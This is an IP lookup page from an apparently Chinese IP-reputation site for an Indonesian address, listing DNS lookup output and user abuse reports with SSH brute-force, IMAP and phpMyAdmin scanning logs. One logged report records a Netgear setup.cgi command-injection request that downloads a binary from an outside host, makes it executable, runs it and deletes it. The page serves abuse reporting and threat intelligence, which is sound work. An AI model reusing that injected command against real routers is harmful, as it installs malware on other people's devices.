103.138.97.42 - IPInfo

基本信息:

城市(city): unknown

省份(region): unknown

国家(country): Indonesia

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:

点此参与IP信息讨论

暂无关于此IP的讨论, 沙发请点上方按钮

相同子网IP讨论:

IP	类型	评论内容	时间
103.138.97.5	attackspam	IP Ban Report : https://help-dysk.pl/wordpress-firewall-plugins/ip/103.138.97.5/ ID - 1H : (47) Protection Against DDoS WordPress plugin : "odzyskiwanie danych help-dysk" IP Address Ranges by Country : ID NAME ASN : ASN138846 IP : 103.138.97.5 CIDR : 103.138.97.0/24 PREFIX COUNT : 1 UNIQUE IP COUNT : 256 ATTACKS DETECTED ASN138846 : 1H - 1 3H - 1 6H - 1 12H - 1 24H - 1 DateTime : 2019-10-21 13:35:13 INFO : HACK ! - Looking for resource vulnerabilities Scan Detected and Blocked by ADMIN - data recovery	2019-10-22 03:53:28

类型

评论内容

时间

103.138.97.5

attackspam

IP Ban Report :  
 https://help-dysk.pl/wordpress-firewall-plugins/ip/103.138.97.5/ 
 
 ID - 1H : (47)  
 Protection Against DDoS WordPress plugin :  
 "odzyskiwanie danych help-dysk" 
 IP Address Ranges by Country : ID 
 NAME ASN : ASN138846 
 
 IP : 103.138.97.5 
 
 CIDR : 103.138.97.0/24 
 
 PREFIX COUNT : 1 
 
 UNIQUE IP COUNT : 256 
 
 
 ATTACKS DETECTED ASN138846 :  
  1H - 1 
  3H - 1 
  6H - 1 
 12H - 1 
 24H - 1 
 
 DateTime : 2019-10-21 13:35:13 
 
 INFO :  HACK ! - Looking for resource vulnerabilities Scan Detected and Blocked by ADMIN  - data recovery

2019-10-22 03:53:28

WHOIS信息:

DIG信息:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 103.138.97.42
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 19819
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;103.138.97.42.			IN	A

;; AUTHORITY SECTION:
.			331	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022022500 1800 900 604800 86400

;; Query time: 14 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 25 16:38:32 CST 2022
;; MSG SIZE  rcvd: 106

HOST信息:

Host 42.97.138.103.in-addr.arpa. not found: 3(NXDOMAIN)

NSLOOKUP信息:

Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 42.97.138.103.in-addr.arpa: NXDOMAIN

最新评论:

IP	类型	评论内容	时间
194.187.123.171	spam	porra	2019-06-13 22:03:04
222.178.152.20	attack	dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:10 +0900] "GET /phpMyAdmion/index.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:10 +0900] "GET /s/index.php HTTP/1.1" 404 505 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:10 +0900] "GET /MyAdmin/index.php HTTP/1.1" 404 511 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:10 +0900] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:10 +0900] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 517 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:11 +0900] "GET /pwd/index.php HTTP/1.1" 404 507 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:11 +0900] "GET /phpMyAdmina/index.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:11 +0900] "GET /phpMydmin/index.php HTTP/1.1" 404 513 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" dummy:80 222.178.152.20 - - [15/Jun/2019:06:33:11 +0900] "GET /phpMyAdmins/index.php HTTP/1.1" 404 515 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"	2019-06-16 00:38:40
46.105.98.93	spambotsattackproxynormal	Vd	2019-06-12 07:14:57
217.115.10.132	attackspam	Malicious Traffic/Form Submission	2019-06-21 12:57:48
83.144.110.218	attack	May 25 01:04:05 icinga sshd[31818]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=83.144.110.218 May 25 01:04:07 icinga sshd[31818]: Failed password for invalid user lei from 83.144.110.218 port 57144 ssh2	2019-05-25 07:33:45
222.98.37.25	attackbotsspam	Jun 17 06:20:00 sd1 sshd[1886]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.98.37.25 user=r.r Jun 17 06:20:02 sd1 sshd[1886]: Failed password for r.r from 222.98.37.25 port 18168 ssh2 Jun 17 06:25:50 sd1 sshd[2278]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.98.37.25 user=r.r Jun 17 06:25:52 sd1 sshd[2278]: Failed password for r.r from 222.98.37.25 port 41347 ssh2 Jun 17 06:28:09 sd1 sshd[2383]: Invalid user ursula from 222.98.37.25 ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=222.98.37.25	2019-06-21 12:51:38
51.79.29.144	spambotsattackproxynormal	51.79.29.144	2019-06-05 16:03:19
186.215.130.242	attack	Unauthorized connection attempt from IP address 186.215.130.242 on Port 143(IMAP)	2019-06-12 10:54:48
159.203.173.152	attack	159.203.173.152 - - [03/Jun/2019:10:41:35 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://104.168.204.214/akbins/mips.akira.ak%20-O%20/var/tmp/mips.akira.ak;%20chmod%20777%20/var/tmp/mips.akira.ak;%20/var/tmp/mips.akira.ak;%20rm%20-rf%20/var/tmp/mips.akira.ak&curpath=/¤tsetting.htm=1" 400 0 "-" "-"	2019-06-03 10:42:31
177.64.149.107	normal	porra	2019-06-13 22:03:33
73.12.40.150	attack	Fast-RDP-Brute Bruteforce Activity	2019-06-20 01:00:05
186.215.130.242	attack	Jun 11 21:34:38 thebighonker dovecot[2633]: imap-login: Disconnected (auth failed, 1 attempts in 6 secs): user=, method=PLAIN, rip=186.215.130.242, lip=192.147.25.65, TLS: Connection closed, session= Jun 11 21:46:20 thebighonker dovecot[2633]: imap-login: Disconnected (auth failed, 1 attempts in 5 secs): user=, method=PLAIN, rip=186.215.130.242, lip=192.147.25.65, TLS, session=<6KzEaheLwdi614Ly> Jun 11 21:50:58 thebighonker dovecot[2633]: imap-login: Disconnected (auth failed, 1 attempts in 4 secs): user=, method=PLAIN, rip=186.215.130.242, lip=192.147.25.65, TLS, session=	2019-06-12 10:54:38
80.82.70.39	attack	Attacking home routers	2019-06-21 11:23:58
134.209.97.232	proxy	134.209.97.232	2019-06-19 17:01:56
114.6.6.200	attack	Tggg	2019-06-15 16:36:27

最近上报的IP列表

103.138.97.2	103.138.85.36	103.138.85.38	103.138.74.53
103.138.97.46	1.20.175.51	103.138.71.11	103.138.97.38
103.138.97.54	103.138.97.8	103.138.97.6	103.139.10.182
103.138.97.66	103.139.133.241	103.139.136.192	103.139.102.46
103.139.102.60	103.139.103.29	1.20.175.56	103.139.103.33